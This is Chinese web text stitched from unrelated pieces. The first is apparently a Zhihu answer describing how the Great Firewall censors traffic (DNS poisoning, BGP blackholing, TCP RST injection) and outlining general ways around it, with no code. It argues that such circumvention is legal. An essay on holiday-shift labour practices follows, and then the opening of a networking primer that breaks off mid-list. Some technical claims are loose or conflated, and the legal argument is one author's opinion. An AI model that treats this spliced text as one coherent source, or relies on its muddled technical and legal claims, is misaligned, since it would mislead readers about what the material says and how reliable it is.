跨国企业使用跨境服务合规方式。跨国企业因协同办公、数据交互等自用需求,可以采用以下方式实现跨境联网:跨国企业从境内发起直接租用3家基础电信企业的国际专线(包括虚拟专网),与企业办公自用网络和设备连接;跨国企业从境外直接发起或委托境外运营商,向3家基础电信企业租用国际专线(包括虚拟专网),与企业办公自用网络和设备连接。跨国企业租用国际专线自建自用办公网络时,可委托有资质的第三方(含持国内IP-VPN、固定网国内数据传送等业务许可的企业)提供系统集成、代维代管等外包服务,但第三方企业不得从事国际专线(包括虚拟专网)的线路资源租售等电信业务经营活动。
2018年1月10日在北京召开了《跨境数据通信业务政策宣贯会暨产业联盟筹备大会》,国内数十家IP-VPN等相关业务经营企业参加了此次大会。
而国内数据跨境的物理传输介质一般为陆上光缆和海底光缆。通过上海直达美国的CN2骨干网海底光缆,亦或是从广州到香港的163骨干网线路的连接,国内和国外的数据完全可以自由地进行交换,而服务器的连接、数据包的交换、路由的选择,其本质上和访问国内服务器并没有什么区别,其协议的使用也是全球通用的。
所以,一个真正的国际互联网并不存在所谓的“墙”,它依旧是通过海底光缆等物理介质,作为OSI模型中的第一层,为其他几个层次的互联网运行提供服务。不管你是否翻墙,不管你访问的是合法的境外网站还是受到管制和审查的网站,一旦你成功ping同,实现了数据的交换,那么数据包就一定要通过我国设立的互联网国际出入口,从一条条光缆直达国外的服务器。
因此,我很遗憾地看到,即使是律所发表的相关文章《天衡解析 | “翻墙”上网的正确姿势》,也犯了非常严重的计算机常识性错误,导致该篇文章论证的前提就是不正确的。这篇文章指出:
由于企业的“翻墙”行为既未使用合法的“国际出入口信道”,也未接入合法的“接入网络”,甚至未使用境内的“互联网络”,已经违反了《中华人民共和国计算机信息网络国际联网管理暂行规定》的规定,公安机关有权责令企业停止国际联网行为,同时给予警告,并处以15000元以下的罚款。
然而, 当我们对互联网运行的机制和原理有了初步的了解后就能轻松发现这句标红的话的严重错误——我在上文所介绍的一切专业术语的实际运作,不管是DNS解析、TCP握手,还是AS自治系统、BGP、路由跳转、ICMP协议……一切的基础都是物理层。
如果你没有接入各大运营商设立在城市里的合法的城域网;
如果数据包没有经过各大国家级ISP的合法骨干网和路由节点AS自治系统;
如果境外数据访问没有经过国内三大运营商经国家批准设立的合法国际出入口并通过合法的陆上、海底光缆设施直达境外服务器……
你的一切数据交换和网站访问都是不可能凭空实现的。
换句话说,即使一家企业使用某个国外代理服务器作为中转节点以逃避GFW的审查,这一翻墙行为的一切基础都是建立在使用合法的国家互联网基础设施之上的。因为你不可能自己去发射一颗卫星专门用来刷推特,也不可能自己制造海底电缆,自发地潜水到海底接入别的国家的网络。
因此,对于普通个人和企业来说(这里的“普通”是指没有能力发射卫星、埋海底光缆),根本不存在所谓“非法的国际出入口信道”、非法的“接入网络”、“在不使用境内互联网络的前提下访问域外服务器”。
一个最直接的证据,也是每个人都能亲身试验的方法,就是使用前文介绍的traceroute命令,访问某个境外服务器的ip地址,遍历数据包途经的骨干网和路由节点,你就会知道,你到底是不是在使用国家级电信运营商布建的、国家批准的网络基础设施了。我随机使用一个尚未被限制的境外服务器ip测试一下,结果如下:
可见,当你成功访问境外服务器,当然也意味着成功实现了翻墙,但你的数据经过的是AS4812(中国电信上海路由群组)、AS4134(中国电信163骨干网路由群组),最后通过海底光缆直连美国加利福尼亚州洛杉矶的AS8100路由群组。你使用的一切光缆、路由节点、海底光缆,全都是经过工信部审批通过的国家级互联网基础设施。翻墙就是使用了非法的信道——这种逻辑是很可笑的。
因此,国际出入口就在那里等着你,海底光缆也在向你招手,凭什么不能访问境外网站呢?在看了下文GFW原理和翻墙原理的介绍,你就会知道,你不能访问境外网站的唯一原因是你正在遭受一个不受法律规制的系统的不间断网络攻击,而你使用任何途径翻墙的基本原理永远都是——你使用了某种技术抵御或避免了上述网络攻击。
首先,我们反复强调,GFW这个概念在当前一切公开的规范性法律文件中都是不存在的。因此,对“翻墙”进行处罚、甚至将“翻墙”这个词写在一个法律文书中简直是无中生有、自取其辱,是非常荒谬的行为。
其次,在学习了以下原理之后,你将清楚地认识到:现行法律规定的所谓“信道”都是在物理层的,而GFW和翻墙的较量基本上都发生在传输层、网络层、会话层、应用层(参见OSI模型)等等,这些层级是法外之地。
在看下文之前,可以同时回顾——你究竟是如何能够访问一个网站的页面的。GFW目前已知的原理有以下几种:
大家一定还记得那个电话号码簿的故事。GFW最早、最初始的原理,就是将这个电话号码簿掉包,或者将号码簿里的电话号码替换成错误的号码,这个原理诞生于2002年,在2012年以前达到高峰。GFW对所有经过骨干出口路由的基于UDP的DNS域名查询请求进行Intrusion Detection Systems(入侵检测系统)检测,一旦发现处于黑名单关键词中相匹配的域名查询请求,防火长城作为中间设备会向查询者返回虚假结果。
简而言之,DNS域名污染就好比你想在电话号码簿上查询朋友的电话号码,但是不曾想,电话号码簿被人掉包了,你拿到的是假的电话号码簿,原本正确的手机号码被替换成了错误的号码,导致你无法打通电话。而该系统触发的规则使用了类似正则表达式的结构,例如规定“对于一切*.google.com的域名解析到某个不存在的ip地址”。
直接使用windows的ping命令就可以亲眼看到DNS污染的运作效果。谷歌官网的服务器明明架设在美国科罗拉多丹佛,但从下图可以看见,在国内从DNS服务器请求到的ip地址却是93.46.8.90这个来自意大利的无效IP地址。
此项技术不仅是2012年前后人们无法再访问Google的直接原因,其在运转过程中更是殃及了全球DNS域名解析服务的正常运作。
种DNS污染的方式曾经向中国大陆以外的用户造成影响。2010年3月,当美国和智利的用户试图访问热门社交网站如facebook.com和youtube.com还有twitter.com等域名,他们的域名查询请求转交给中国控制的DNS根镜像服务器处理,由于这些网站在中国被封锁,结果用户收到了错误的DNS解析信息,这意味着防火长城的DNS污染已影响国际互联网。2010年4月8日,中国大陆一个小型ISP的错误路由数据,经过中国电信的二次传播,扩散到了整个国际互联网,波及到了AT&T、Level3、德国电信、Qwest和西班牙电信等多个国家的大型ISP。(来源:维基百科)
DNS污染殃及全球用户的基本原理很简单,就是诸多国外用户的DNS请求被他们的ISP电信运营商随机分发给了全球的根域名缓存服务器(也就是那个优先级最低的电话簿),而碰巧,他们请求被分发给了来自中国的根域名服务器,而因为GFW的存在,其提供的是错误的、虚假的DNS解析服务,其造成的后果可想而知。
因此在这里我忍不住插一句题外话。我曾亲耳听见一个计算机专业毕业的人谈及中国的互联网安全现状。他说,因为全球大部分根域名服务器都设立在美国,所以美国掌握互联网的底层,中国必须建立GFW来保障互联网安全。现在,你应该可以体会到这种言论的恶毒之处。因为现在你终于了解到,电话簿可以随时复制,根域名服务器根本就不是什么互联网的底层,而是最高层(应用层)中一个很简单的技术,你的浏览器永远最先访问本地DNS缓存,往往一般都无须根域名服务器就能解析IP地址;而中国的根域名服务器会对境外服务器域名解析错误的ip地址,因此现实情况是中国的DNS污染在影响全球的互联网运行,而非美国影响了中国的互联网安全,这是完全的颠倒是非。
我们依稀记得BGP好像是各个ISP主干网之间路由节点共享信息的协议,BGP劫持就是伪造位于主干道的路由节点的路由表,将其根本没有或者不可能连通的ip地址导入路由表,诱骗邻近节点相信该节点拥有这一ip地址的访问通道。GFW通过人工方式维护一个针对特定IP地址封锁的列表,从而实现特定ip地址的路由欺骗,这样一个节点我们将其称之为“路由黑洞”。因为基于BGP协议,各个节点之间是无条件信任的,所以这个“谎言”一传十、十传百,只要一个主干道路由节点被诱骗,其连接的所有节点都会被骗,成为GFW运作的"帮凶"。而BGP劫持的“可传染性”特征曾经导致全球互联网访问故障。
2010年4月8日,中国大陆一个小型ISP的错误路由数据,经过中国电信的二次传播,扩散到了整个国际互联网,波及到了AT&T、Level3、德国电信、Qwest和西班牙电信等多个国家的大型ISP。
A Chinese ISP Momentarily Hijacks the Internet. PC World. 2010-04-09 [2011-05-19]. (原始内容存档于2011-06-22).
我们依旧可以通过traceroute观察到这一技术的运行效果,我们尝试traceroute一下google.com的真实ip地址,得到如下结果:
可以看见,当数据包跳转给中国电信上海AS4812群组的101.95.120.166路由节点之后,就再也跟踪不到数据包的踪迹了。这是因为在这一节点,存在着一个无效的路由黑洞,其声称自己拥有172.217.24.12这一ip地址的访问可达性,但话音刚落,它就把数据包丢弃在角落了……
与此同时,骨干路由器还有一种ACL Based Forwarding (ABF)的匹配规则,可以在全国骨干路由器同步步数ip端口封锁规则,由于理解不太深入,这里不做专门介绍。
另外,在路由黑洞成为封锁ip的主要途径以前,GFW在早期使用的是访问控制列表(ACL)技术来封锁特定的IP地址,但这种方法有性能不佳的问题。这里不做专门介绍。
我们依稀记得TCP建立连接前的三次握手,也一定还记得那天在小区里与美女浪漫的邂逅。将TCP RST重置套用到这个浪漫的故事里,可以直接表现为:当你对着妹子招手时,旁边突然冲出来一陌生男子骗你说,“对不起,这是我的女朋友,请不要打扰她”;而随后,他又挡在你面前伪装成你的样子,冲向那位女子说,“刚刚招手的就是我,你别误会,我根本就不是在跟你打招呼,我只是在打蚊子,拜拜”——这个生动的故事为我们展现了,一个无耻的第三人就这样强行闯入了一个纯洁男子和妙龄女子的浪漫邂逅。
RST阻断也称为TCP旁路阻断,其运行的原理如下:
通常需要进行阻断的情况是审计控制系统旁路监听内网。旁路监听的方式一般是将主交换机的数据镜像到控制系统,控制系统可以采用libpcap捕获数据包。在这种情况下要阻断tcp连接的建立只要在监听到第一次握手的时候,控制系统伪造服务器发起第二次握手回应,就能阻断客户端与服务器连接的建立。因为我们的系统在内网,发出的报文肯定比服务器快,这样客户端接收到我们伪造的报文以后会回应第三次握手,当服务器真正的报文到达的时候客户端将不再处理,此时客户端再向服务器请求数据,因为seq号和ack号出错,服务器不会受理客户端的请求。
版权声明:本文为CSDN博主「pluton」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/pluton/java/article/details/5816227
TCP协议规定,只要看到RST包,连接立马被中断。从浏览器里来看就是连接已经被重置。大部分的RST是条件触发的,比如URL中包含某些关键字。目前享受这种待遇的网站就多得去了,著名的有facebook。还有一些网站,会被无条件RST。也就是针对特定的IP和端口,无论包的内容就会触发RST。比较著名的例子是https的wikipedia。GFW在TCP层的应对是利用了IPv4协议的弱点,也就是只要你在网络上,就假装成任何人发包。所以GFW可以很轻易地让你相信RST确实是Google发的,而让Google相信RST是你发的。
《G.F.W的原理》 http://www.oneyearago.me/2019/06/14/learn_gwf/
与此同时,DNS解析服务并非全部都使用UDP协议,也有部分使用TCP协议的DNS解析请求,其被封禁也是依靠TCP的RST重置,
通过这一技术的反推,有业内人士定位了GFW存在的大致位置。其原理如下:
IP协议的特性叫TTL。TTL是Time to Live的简写。IP包在每经过一次路由的时候,路由器都会把IP包的TTL减去1。如果TTL到零了,路由器就不会再把IP包发给下一级路由。由于GFW会在监听到不和谐的IP包之后发回RST包来重置TCP连接。那么通过设置不同的TTL就可以知道从你的电脑,到GFW之间经过了几个路由器。比如说TTL设置成9不触发RST,但是10就触发RST,那么到GFW就是经过了10个路由器。
另外一个IP协议的特性是当TTL耗尽的时候,路由器应该发回一个TTL EXCEEDED的ICMP包,并把自己的IP地址设置成SRC(来源)。结合这两点,就可以探测出IP包是到了IP地址为什么的路由器之后才被GFW检测到,结合IP地址地理位置的数据库就可以知道其地理位置。
《G.F.W的原理》 http://www.oneyearago.me/2019/06/14/learn_gwf/
我们在上面一段曾了解到,GFW的TCP旁路阻断的前提是“将主交换机的数据镜像到控制系统”。这其实也是目前业内猜测的 GFW系统存在的主要方式——GFW存在于骨干路由器节点,其作为一个设备附着在主干路由器身边,通过“分光”的方式把数据包复制到另外一根光纤上。
基于此,GFW作为一个独立设备就可以作为旁观者分析经过其附着的主干路由器的所有数据包。
HTTP协议有非常明显的特征,可以轻易被GFW系统检测和识别,GFW进而依据HTTP协议规则对数据包进行拆解,由于其表现为明文,所以可以直接进行关键词匹配。例如,从HTTP的GET请求中取得请求的URL。然后GFW拿到这个请求的URL去与关键字做匹配,比如查找Twitter是否在请求的URL中。而关键字匹配使用的依旧是一些高效的正则表达式。
当前流行的一切翻墙协议例如shadowsocks、v2ray的VMess 协议等不具有非常显著的特征,而后者可以伪装成其他类型的流量,例如伪装成微信视频等。但无论如何,对于混淆流量和非传统加密协议,GFW正在使用大家耳熟能详的“人工智能”技术,将这些各种各样难以判断和识别的翻墙流量与正规的政企跨境流量相区分开来。
不再展开论述,可参考近年来Github网站遭受的攻击。
这一部分我不再展开论述,因为是有法律风险的。有一定网络基础知识的人,在看完上述GFW原理之后,应当能够头脑风暴一下,想出很多合理的逃避审查的思路,也能理解为什么我在上文提及“翻墙不等于侵入计算机系统”了。主要的翻墙原理有以下几种。
(1)早期对DNS污染的应对——给hosts文件添加一个离线库就行了
(2)各种奇形怪状的加密协议,包括流量伪装,避免被直接拆包作关键词审查
(3)无视GFW发送的RST重置数据包(无视那个第三人,继续暧昧的相遇)
(4)连接境外未被封禁的代理服务器作为中转站,逃过GFW的ip封锁
……
在文章结尾,我依旧要强调,本文不涉及有关“翻墙”的任何技术指导或方法的具体介绍,同时必须强调——千万不要翻墙访问、发布、传播违法有害信息。
我们很多人都记得2012年以前的那个时代,想要用谷歌搜索资料,只需要修改DNS服务器为8.8.8.8即可,再不济,改个hosts文件就行了。现在,越来越多的方法被封锁了,在这个节骨眼上,居然还有很多人盲目乐观,甚至以他人不懂翻墙而沾沾自喜,这样的现象伴随着民族主义思潮愈演愈烈。
但是我相信,认真学习自己的专业知识,同时广泛地接受和学习其他领域的专业知识,就能轻松避免被网上大肆输出情绪的人鼓动和欺瞒,保持冷静地思考——你真的可以对现状有一个清晰的认识和判断,并在不久的将来参与到各行各业的运行过程中,为社会做出贡献。
而这篇文章,就权当我在学习之余的放松心情、自娱自乐罢。
那么现在,你能否就程序员群体提出的以下选择题给出正确解答了呢?
作者:欧洲金靴
链接:https://www.zhihu.com/question/455705530/answer/1852406576
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
调休制度实在是反动,不论是官定还是资定。
看似一口气放五天假、七天假、八天假,但统统会在前后的双休中找回来。等于是“借你的双休,来补足我设立的法定假期额度”。
可问题是,这双休也是打工人本就法定的自有假期,你这一“借”,归还否?
“借”的时候,商量否?本身所有的所谓“三天假”都会克扣双休,这种操作放在996的大背景下就更加让人崩溃:原本就已然996的状态,却又因为小长假的“寻补”而继续进一步攫取压榨双休。
为了促成五天假、七天假的实现,反而让长假前后的996更恶化了一个层次,直接堂而皇之地变成了007:“辛苦点,下礼拜给你一连放五天……”
这就是在劳资双方的经济与政治地位均不平等的情况下,关于时间的分配权、假期的操控权完全为资本所控。
恩格斯曾描述过19世纪英国的工厂:“工人是禁止携带自己的钟表的,对于时间的定义也成为了资本家的特权。工人的工作时间要以工厂的时钟为准,而资本家和他的监工们往往会常常在时钟上做手脚:上班时先把时钟拨早一些,下班时又把时钟拨晚一些,通过增加工作时长剥削过多的剩余价值。”
这与今天利用所谓的调休制度对假期设置进行干预操纵,难道不是一回事吗……
从宏观舆论观察,似乎还要求打工人为这个赏给你的五天假、七天假感恩戴德,并会相当义正辞严、理直气壮地提醒你:“一口气放这么长时间的假,可别光想着休息啊!在家要常看看钉钉、企业WeChat……”
这属于温水煮你的同时,还当着你的面明目张胆地往你屁股底下加柴火。
集中时长加班所造成的身心两方面的伤害,这难道可以通过一口气睡它个五天五夜找补回来吗?
更何况,这小长假也不是让你单纯休息的,是让你出门去消费的!哪怕这门外人山人海、各个景点被堵的水泄不通,你也必须消费,否则从拉动内需的角度你就是一个没有价值贡献的人。
可是那些端坐高台的人似乎忘了,人们并不是不愿意消费、放松、逛街、吃喝,但这些理应置于规律性的周末双休中,而不是挤破头、让人窒息的五一/十一/春节小长假。
最后的最后,工作时创造的价值和休息时消费的回馈全部归了企业,然而一切的代价则丢给自己承担。
如19世纪美国马萨诸塞州一个鞋厂的监工说的话:“让一个身强力壮体格健全的18岁小伙子,在这里的任何一架机器旁边工作,我能够使他在22岁时头发变成灰白。”
列宁在《论意大利社会党党内的斗争》中有指出:“只要阶级还没有消灭,任何关于一般自由和平等的谈论都是欺骗自己,或者是欺骗工人、欺骗全体劳动者和受资本剥削的人。无论如何,也是在维护资产阶级的利益罢了。”
在一个实质性没有工会也没有任何区域性工人组织的情况下,目前的劳资局面很让人无语,早已失去集体庇护的工人阶级几乎是没有议价权和话语权的。
甚至,他们压根连多余的、去进行“团结”的时间都没有,连发一条“我今天好累啊”的动态都没有时间。
他们只是机器。休息的时间是什么?表象是为再生产提供蓄力,本质则是一份人权的落地,是民本之自由的一部分。
工人理应享有休息与定义休息的权力。
自由一旦被禁锢,其实对于规模化生产也是弊大于利的。这也是诸多行业眼下产生“内卷”现象的缘由之一,所以我说这种调休制度实为反动。
如果还是回到大的宏观角度而论,阶级的自由如果被锁缚,则必将羁绊这个阶级的前进步伐。
仍以列宁的观点为导:“资产阶级利用自由,是为了高枕无忧;无产阶级需要自由,是为了更广泛地开展争取社会主义的斗争。”(《地方自治局的迫害者和自由主义的汉尼拔》)
前天4月22日是列宁151周年的纪念日,舆论追忆声浪寥寥;而近日一则“工人讨生活费被喷辣椒水”的新闻,流量同样被压低埋没……
五一国际劳动节在即,这个为劳动者唱赞歌的政治节日倒是因为对劳动者极不友好的放假现状而登上了热搜,这太过讽刺了。
]]>版权声明
本博客所有的原创文章,作者皆保留版权。转载必须包含本声明,保持本文完整,并以超链接形式注明作者编程随想和本文原始地址:
https://program-think.blogspot.com/2021/03/Computer-Networks-Overview.html
今天这篇的标题是“扫盲”,也就是说:即使那些完全不懂 IT 领域,也不懂通讯领域的读者,依然能看懂(至少能看懂一部分)。为了做到这点,俺会尽量使用通俗的比喻,并适当加一些示意图。
另外,就算你已经比较了解网络通讯领域,本文中提到的某些部分,也可能是你所不知道的。也就是说:懂行的同学,看看此文,也会有帮助。
本文的标题特地强调了【系统性】——俺希望这篇教程能帮助读者对“计算机网络”这个领域进行系统性学习(何为“系统性学习”?请看这篇教程)
为了做到【系统性】这个目的,这篇教程很长。俺开博12年,这篇的长度估计能排到前5名。建议大伙儿慢慢看,不要着急。
为了足够通俗,俺先要介绍一些基本概念。
这是通讯领域非常基本的概念,肯定要先聊聊它。
通俗地说,信道就是“传送信息的通道”。
首先,信道可以从广义上分为“物理信道 & 逻辑信道”。
顾名思义,“物理信道”就是直接使用某种【物理介质】来传送信息;至于“逻辑信道”——是基于“物理信道”之上抽象出来的玩意儿(待会儿讲到“协议栈”的时候再聊)。
“带宽”指的是:某个信道在单位时间内最大能传输多少比特的信息。
请注意:
电气领域 & 计算机领域都有“带宽”这个概念,但两者的定义不太一样。电气领域所说的“带宽”指的是“模拟带宽”,单位是“赫兹/Hz”;计算机领域所说的“带宽”指“数字带宽”,单位是“比特率”或“字节率”。
后续章节提到“带宽”,都是指计算机领域的术语。
“比特率”或“字节率”很容易搞混淆。用英文表示的话——大写字母 B 表示【字节】;小写字母 b 表示【比特】。
由于带宽的数字通常很大,要引入“K、M、G”之类的字母表示数量级,于是又引出一个很扯蛋的差异——“10进制”与“2进制”的差异。
【10进制】的 K 表示 1000;M 表示 1000x1000(1百万)
【2进制】的 K 表示 1024(2的10次方);M 表示 1024x1024(2的20次方)
为了避免扯皮,后来国际上约定了一个规矩:对【2进制】的数量级要加一个小写字母 i。比如说:Ki 表示 1024;Mi 表示 1024x1024 ...... 以此类推。
举例:
1Kbps 表示“1000比特每秒”
1KiBps 表示“1024字节每秒”
再来说说信道的工作模式。大致可以分为如下三种。为了让大伙儿比较好理解,俺对每一种都举相应的例子。
1. 单工(simplex)
比如“电台广播”就是典型的【单工】。“电台”可以发信号给“收音机”,但“收音机”【不能】发信号给“电台”。
2. 半双工(half-duplex)
比如“单条铁路轨道”,就是典型的【半双工】。火车在单条铁轨上,可以有两种运行方向;但对于同一个瞬间,只能选其中一个方向(否则就撞车了)。
3. 全双工(full-duplex)
比如“光纤”就是典型的【全双工】。在同一根光导纤维中,可以有多个光束【同时相向】传播,互相不会干扰对方。
为了叙述方便,俺把参与通讯的对象(主体)称作“通讯端点”,简称“端点”。
这里的“端点”是广义的,可以是硬件(比如某个网卡),也可以是软件(比如某个应用程序)。
所谓的“通讯协议”就是:参与通讯的各方所采用的某种【约定】。只有大家都遵守这个约定,才有可能相互传递信息。
打个比方:如果两个人要用自然语言交流,前提是:双方使用相同(或相互兼容)的自然语言。
“通讯协议”就类似某种自然语言,参与通讯的多个端点,都必须能理解这个语言。
在聊“分层”之前,先说说“分工”。比如在一个公司中,通常设有不同的工种/岗位,这就【分工】。
对于网络通讯也是如此,不太可能用一种通讯协议完成所有的信息传递任务(注:对于特别简单的网络,或许有可能只用单一协议;但如今的网络通讯已经很复杂,用【单个】通讯协议包办所有事情,已经不太可能)
一旦采用了多种通讯协议,这几种协议之间,该如何配合捏?
在网络通讯领域,采用的是【分层】的设计思路。多个层次的协议在一起协同工作,技术上称作“协议栈”(洋文叫做“protocol stack”)。
对于多层次的协议栈。每个层次都有各自的“端点”(进行通讯的主体)。处于【同一层次】的两个端点会使用该层次的协议进行通讯(注:同一个层次的协议,可能只有一个,也可能有多个)。
除了最顶层,每个层次的端点会向其【直接】上层提供“服务”;除了最底层,每个层次的端点会调用【直接】下层提供的“服务”(这里所说的“服务”指某种“编程接口”,技术行话叫 API)。
(前一个小节说了)每个层次会向上一个层次提供服务(API 调用)。对上层而言,调用下层提供的 API 发送信息,其效果相当于在使用某种【信道】进行通讯,这也就是俺在 ★基本概念 那个章节所说的“逻辑信道”。
大部分协议会把要传送的数据切割为 N 份,每一份就是一个数据包。
通常来说,数据包的格式有如下三部分:
头部
身体(也称作“有效载荷”)
尾部(注:很多协议没有尾部)
如果你收过快递,可以把“网络数据包”与“快递包裹”作一个对照——
数据包的“头/尾”,就类似于快递包裹的【包装袋】。数据包的“身体”,就类似于快递包裹里面的东西。
对于【相邻】两层的协议,【下】层包含【上】层。也就是说:下层协议的【载荷】就是上层协议的【整体】。
还是以快递举例:
假设你从网上买了一台笔记本电脑。电脑出厂时,电脑厂商肯定会提供一个包装盒。快递公司在寄送这台笔记本的时候,又会在笔记本的盒子外面再加一个包装袋。对应到网络协议——“快递公司的包装袋”相当于【下层】协议;“电脑厂商的包装盒”,相当于【上层】协议。
上述所说的“分层 & 协议栈”只是一个抽象的(笼统的)思路。具体要分几层?每一层要干啥事儿?这些都是很有讲究滴!网络技术发展了几十年,已经有很多牛人提出了各种不同的划分方案,称之为“网络分层的参考模型”(为了打字省力,以下简称“模型”)。
在各种模型中,名气最大的当然是“OSI 模型”(洋文称作“OSI model”)。在后续的章节中,俺会以这个模型为主体,进行介绍。
除了“OSI 模型”还有一个很出名的模型是“TCP/IP 模型”(因为互联网很成功,它才跟着出名)。
对“TCP/IP 模型”的分层,不同的文章或书籍,说法不太一样(“3层、4层、5层”皆有),这就引发了一些争议。包括几位热心读者也在博客留言,表达不同意见。为了避免一家之言,贴出维基百科的“这个链接”,其中给出了几种比较有名的说法。
另外,俺想提醒一下:
由于本文是基于【OSI 模型】进行展开。对于 TCP/IP 模型到底算几层,这方面的争论【不】影响本文后续的内容。
OSI”的全称是“Open System Interconnection”。先说说它的历史。
上世纪70年代,“国际电信联盟”(ITU)想对各国的电信系统(电话/电报)建立标准化的规格;与此同时,“国际标准化组织”(ISO)想要建立某种统一的标准,使得不同公司制造的大型主机可以相互联网。
后来,这两个国际组织意识到:“电信系统互联”与“电脑主机互联”的性质差不多。于是 ISO 与 ITU 就决定合作,两家一起干。这2个组织的2套班子,从上世纪70年代开始搞,搞来搞去,搞了很多年,一直到1984年才终于正式发布 OSI 标准。
严格来讲,OSI 包括两大部分——
其一,抽象的概念模型,也就是前面提到的【OSI model】;
其二,针对这个概念模型的具体实现(具体的通讯协议),洋文叫做【OSI protocols】。
(前面说了)OSI 是由 ISO & ITU 联手搞出来滴。这两个国际组织里面的人,要么是来自各国的电信部门,要么是来自各国的高校学者。总而言之,既有严重的官僚风气,又有明显的学究风气。(正是因为这两种风气叠加,所以搞了很多年,才搞出 OSI)
OSI 的协议实现(OSI protocols),不客气地说,就是一堆垃圾——据说把 OSI protocols 所有的协议文档,全部打印成 A4 纸,摞起来得有一米多高!是不是很吓人?协议搞得如此复杂,严重违背了 IT 设计领域的 KISS 原则。
由于 OSI protocols 实在太复杂,后来基本没人用。但 OSI model 反而广为流传,并且成为“网络分层模型”中名气最大,影响力最广的一个。
因此,本文后续章节中,凡是提到 OSI,指的是【OSI model】。
OSI 模型总共分7层,示意图参见如下表格:
考虑到本文是针对一般性读者的【扫盲教程】,俺重点聊第1~4层。搞明白这几个层次之后,有助于你更好地理解网络的很多概念,也有助于你更好地理解很多信息安全的概念。
网上已经有很多关于 OSI 的文章,可惜大部分写得粗糙——很多文章只是在照抄定义。
俺曾经写过一篇《学习技术的三部曲:WHAT、HOW、WHY》,其中提到【理解技术】的不同层次。要想更好地理解 OSI 模型,你得搞明白:为啥需要引入某某层?(请注意:这是一个 WHY 型的问题)
接下来在讨论 OSI 的每个层次时,俺都会专门写一个小节,谈该层次的【必要性】。搞明白【必要性】,你就知道为啥要引入这个层次。
通俗地说:直接与物理介质打交道的层次,就是物理层。这一层的必要性比较明显。
因为所有的通讯,归根结底都要依赖于【物理介质】。与物理介质打交道,需要牵涉到很多与【物理学】相关的东东。比如:“无线电通讯”需要关心“频率/波长”;电缆通讯需要跟“电压”打交道;“光纤通讯”需要关心“玻璃的折射率&光线的入射角” ......
“物理层”的主要职责是:屏蔽这些细节,使得“物理层”之上的层次不用再去操心物理学。
何为“物理信道”,在本文开篇的“基本概念”已经提到了。
对于“物理信道”,还可以进一步细分为如下三大类:
俺在很多篇关于“学习&心理学”的博文中提到过【信噪比】这个概念。其实这个概念是从通讯领域借用的术语。
对于“物理信道”,总是会存在某些环境干扰,称之为“噪声”(Noise)。“信道传输的有用信息”与“无用的干扰噪声”,这两者的比值就是“信噪比”。
“信噪比”单位是【分贝】。“分贝”洋文叫做“decibel”(简写为 dB)。“deci”表示“十进制”;“bel”是为了纪念大名鼎鼎的贝尔(电话它爹)。
“物理信道”要依赖于物理传输介质。不管使用何种物理介质,都要受限于某些基本的物理学定律(比如“光速上限”)。另外,不管何种物理介质,总是会有或多或少的环境干扰(噪声)。这两个因素导致了:任何“物理信道”的最大传输率总是有限滴。
由于物理层是最底下的一层,物理层之上的其它层次总是要直接或间接地依赖【物理信道】。因此,其它层次建立的“逻辑信道”,其带宽只会比“物理信道”的最大带宽更小。换句话说:“物理信道”的带宽上限也就是整个协议栈的带宽上限。
一般来说,凡是能实现【长距离】通讯的“物理信道”,都有相当的经济成本。比如铺设“光纤、同轴电缆”都要花钱。无线电通讯虽然免去了铺设线路的成本,但需要竞标购买频段。因此,物理信道非常强调“多路复用”。
所谓的“多路复用”,通俗地说就是:尽可能地共享物理信道,不要浪费了。
“多路复用”有很多种类型;不同的类型,原理也不同。为了展示各种不同的原理,俺拿【无线通信】来说事儿。
无线通信领域的“多路复用”,【至少】有如下几种:
1. 频分多路复用/FDM(Frequency-Division Multiplexing)
这个最简单,就是根据频率拆分。不同的线路占用不同的频段,互不干扰。(电台广播用的就是这个思路)
但这个思路的缺点很明显——
其一,要依赖足够宽的频段(频段是稀缺资源);
其二,不同线路的流量可能会动态变化。如果某个线路空闲,其占用的频段就浪费了。
(注:光纤通讯中有个“波分多路复用/WDM”,本质上就是 FDM)
2. 时分多路复用/TDM(Time-Division Multiplexing)
这种思路只用一个很窄的频段。为了在同一个频道发送多个信道,采用【分时机制】,把时间切割成很小的时间片,每个线路占用一个时间片。周而往复。
这个思路有点像十字路口的红绿灯——每隔一段时间,其中一条路可以通行。
这个思路的优点是:可以只使用一个很窄的频段。缺点是:线路越多,每条线路等待越久;即使某个线路空闲,依然会占用时间片(浪费了资源)。
3. 码分多路复用/CDM(Code-Division Multiplexing)
这种思路采用某种【编码】的技巧,使得多个端点可以在同一个时间点使用同一频段发送数据;由于他们采用不同的编码方式,不会相互干扰。
一般来说,CDM 要依赖于“扩频技术”(spread spectrum),需占用一个比较宽的频道范围。这算是缺点。但其优点很明显——
其一,可以支持 N 个线路(N 动态变化);
其二,即使任何一个线路的流量动态变化,也不会浪费物理信道的资源。
显然,这种思路明显优于 FDM & TDM。如今在移动通讯领域大名鼎鼎的 CDMA(码分多址),采用的就是这个思路。
物理层的协议主要有如下:
USB 协议
蓝牙协议的一部分
IEEE 802.11 的一部分(Wi-Fi)
IEEE 802.16(WiMAX)
IEEE 1394(火线接口)
RS-232 协议(串行接口/串口)
......
(考虑到篇幅)俺不可能具体细聊这些协议,只是贴出每个的维基百科链接,感兴趣的同学自己点进去看。
对于电脑主机(含移动设备),“网卡硬件”包含了物理层的协议实现(参见如下示意图)
另外,还有一些专门的【1层】网络设备,也提供物理层的功能(参见下一个小节)。
1. 调制解调器(modem)
通俗地说,“调制解调器”就是用来翻译“数字信号 & 模拟信号”。
在发送信息时,modem 把电脑要发送的“字节流”(数字信号)翻译成“模拟信号”,然后通过物理介质发送出去;当它从物理介质收到“模拟信号”,再翻译成“数字信号”,传回给电脑。
早期的拨号上网,modem 面对的物理介质是“固话线路”;如今家庭宽带普及,光纤入户,modem 面对的物理介质是“光纤线路”。
2. 中继器(repeater)
信号在物理介质中传输,会出现【衰减】(不论是“有线 or 无线”都有可能衰减)。“中继器”的作用是【信号增益】,使得信号能传得更远。
另外,比如“微波通讯”是直线传播,而地球表面有弧度,还有地形的起伏。所以每隔一定距离要建“微波塔”。这玩意儿也相当于“中继器”。
3. 集线器(hub)
可以把“集线器”视作更牛逼的“中继器”——“中继器”只有两个口(只能连接两个通讯端点),而“集线器”有多个口(同时连接多个通讯端点)。
通常所说的“集线器”是指“以太网集线器”。这种设备如今已经逐步淘汰,很少见到了。
另外,很多同学应该都用过“USB hub”,就是针对 USB 线的“集线器”(“USB 线”也可以视作某种通讯介质)。
2. 差错控制
